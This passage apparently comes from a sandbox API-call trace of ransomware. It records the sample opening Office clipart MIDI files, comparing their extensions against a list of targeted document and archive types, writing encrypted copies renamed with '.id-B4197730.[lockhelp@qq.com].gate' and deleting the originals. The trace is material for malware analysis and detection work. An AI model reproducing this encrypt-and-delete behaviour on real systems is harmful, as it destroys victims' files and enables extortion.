(lpString=".dbf") returned 4 [0300.882] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0300.882] lstrlenW (lpString=".1cd") returned 4 [0300.882] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0300.882] lstrlenW (lpString=".jpg") returned 4 [0300.882] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.890] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7768) returned 1 [0300.890] CloseHandle (hObject=0x52c) returned 1 [0300.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0300.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0300.891] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.892] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0301.018] GetLastError () returned 0x0 [0301.018] ReadFile (in: hFile=0x52c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1e58, lpOverlapped=0x0) returned 1 [0301.274] WriteFile (in: hFile=0x4b8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1e60, lpOverlapped=0x0) returned 1 [0301.275] ReadFile (in: hFile=0x52c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.275] WriteFile (in: hFile=0x4b8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.275] SetEndOfFile (hFile=0x4b8) returned 1 [0301.275] CloseHandle (hObject=0x4b8) returned 1 [0301.276] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.276] SetEndOfFile (hFile=0x52c) returned 1 [0301.278] CloseHandle (hObject=0x52c) returned 1 [0301.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0301.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0301.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0301.383] lstrlenW (lpString=".doc") returned 4 [0301.383] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.383] lstrlenW (lpString=".docx") returned 5 [0301.383] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0301.383] lstrlenW (lpString=".pdf") returned 4 [0301.383] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.383] lstrlenW (lpString=".xls") returned 4 [0301.383] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.383] lstrlenW (lpString=".xlsx") returned 5 [0301.383] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0301.383] lstrlenW (lpString=".ppt") returned 4 [0301.383] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0301.383] lstrlenW (lpString=".zip") returned 4 [0301.383] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.383] lstrlenW (lpString=".rar") returned 4 [0301.383] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.383] lstrlenW (lpString=".bz2") returned 4 [0301.383] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.383] lstrlenW (lpString=".7z") returned 3 [0301.383] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0301.383] lstrlenW (lpString=".dbf") returned 4 [0301.383] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0301.383] lstrlenW (lpString=".1cd") returned 4 [0301.383] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0301.383] lstrlenW (lpString=".jpg") returned 4 [0301.383] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.483] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5393) returned 1 [0301.483] CloseHandle (hObject=0x4c0) returned 1 [0301.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0301.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0301.645] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.645] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.646] GetLastError () returned 0x0 [0301.646] ReadFile (in: hFile=0x52c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1511, lpOverlapped=0x0) returned 1 [0301.684] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1520, lpOverlapped=0x0) returned 1 [0301.685] ReadFile (in: hFile=0x52c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.685] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.685] SetEndOfFile (hFile=0x528) returned 1 [0301.688] CloseHandle (hObject=0x528) returned 1 [0301.689] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.689] SetEndOfFile (hFile=0x52c) returned 1 [0301.697] CloseHandle (hObject=0x52c) returned 1 [0301.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0301.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0301.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0301.759] lstrlenW (lpString=".doc") returned 4 [0301.759] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.759] lstrlenW (lpString=".docx") returned 5 [0301.759] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0301.759] lstrlenW (lpString=".pdf") returned 4 [0301.759] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.759] lstrlenW (lpString=".xls") returned 4 [0301.759] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.760] lstrlenW (lpString=".xlsx") returned 5 [0301.760] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0301.760] lstrlenW (lpString=".ppt") returned 4 [0301.760] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0301.760] lstrlenW (lpString=".zip") returned 4 [0301.760] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.760] lstrlenW (lpString=".rar") returned 4 [0301.760] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.760] lstrlenW (lpString=".bz2") returned 4 [0301.760] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.760] lstrlenW (lpString=".7z") returned 3 [0301.760] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0301.760] lstrlenW (lpString=".dbf") returned 4 [0301.760] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0301.760] lstrlenW (lpString=".1cd") returned 4 [0301.760] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0301.760] lstrlenW (lpString=".jpg") returned 4 [0301.760] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.760] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6392) returned 1 [0301.760] CloseHandle (hObject=0x370) returned 1 [0301.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0301.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0301.763] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.764] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0301.764] GetLastError () returned 0x0 [0301.764] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x18f8, lpOverlapped=0x0) returned 1 [0301.795] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1900, lpOverlapped=0x0) returned 1 [0301.796] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.796] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xea, lpOverlapped=0x0) returned 1 [0301.796] SetEndOfFile (hFile=0x4c4) returned 1 [0301.797] CloseHandle (hObject=0x4c4) returned 1 [0301.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.797] SetEndOfFile (hFile=0x370) returned 1 [0301.799] CloseHandle (hObject=0x370) returned 1 [0301.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0301.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0301.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0301.800] lstrlenW (lpString=".doc") returned 4 [0301.800] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.800] lstrlenW (lpString=".docx") returned 5 [0301.800] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.800] lstrlenW (lpString=".pdf") returned 4 [0301.800] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.800] lstrlenW (lpString=".xls") returned 4 [0301.800] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.800] lstrlenW (lpString=".xlsx") returned 5 [0301.800] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.800] lstrlenW (lpString=".ppt") returned 4 [0301.800] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0301.800] lstrlenW (lpString=".zip") returned 4 [0301.800] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.800] lstrlenW (lpString=".rar") returned 4 [0301.800] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.800] lstrlenW (lpString=".bz2") returned 4 [0301.800] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.801] lstrlenW (lpString=".7z") returned 3 [0301.801] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0301.801] lstrlenW (lpString=".dbf") returned 4 [0301.801] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0301.801] lstrlenW (lpString=".1cd") returned 4 [0301.801] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0301.801] lstrlenW (lpString=".jpg") returned 4 [0301.801] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.821] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6700) returned 1 [0301.821] CloseHandle (hObject=0x404) returned 1 [0301.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0301.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0301.849] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.849] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0301.850] GetLastError () returned 0x0 [0301.850] ReadFile (in: hFile=0x52c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0301.942] WriteFile (in: hFile=0x538, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1a30, lpOverlapped=0x0) returned 1 [0301.943] ReadFile (in: hFile=0x52c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.943] WriteFile (in: hFile=0x538, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.943] SetEndOfFile (hFile=0x538) returned 1 [0301.943] CloseHandle (hObject=0x538) returned 1 [0301.943] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.943] SetEndOfFile (hFile=0x52c) returned 1 [0301.946] CloseHandle (hObject=0x52c) returned 1 [0301.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0301.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0301.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0301.947] lstrlenW (lpString=".doc") returned 4 [0301.947] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.947] lstrlenW (lpString=".docx") returned 5 [0301.947] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.947] lstrlenW (lpString=".pdf") returned 4 [0301.947] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.947] lstrlenW (lpString=".xls") returned 4 [0301.947] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.947] lstrlenW (lpString=".xlsx") returned 5 [0301.948] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.948] lstrlenW (lpString=".ppt") returned 4 [0301.948] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0301.948] lstrlenW (lpString=".zip") returned 4 [0301.948] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.948] lstrlenW (lpString=".rar") returned 4 [0301.948] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.948] lstrlenW (lpString=".bz2") returned 4 [0301.948] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.948] lstrlenW (lpString=".7z") returned 3 [0301.948] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0301.948] lstrlenW (lpString=".dbf") returned 4 [0301.948] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0301.948] lstrlenW (lpString=".1cd") returned 4 [0301.948] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0301.948] lstrlenW (lpString=".jpg") returned 4 [0301.948] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.993] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6915) returned 1 [0301.993] CloseHandle (hObject=0x528) returned 1 [0301.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0301.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.994] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.994] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0301.995] GetLastError () returned 0x0 [0301.995] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1b03, lpOverlapped=0x0) returned 1 [0302.099] WriteFile (in: hFile=0x414, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: 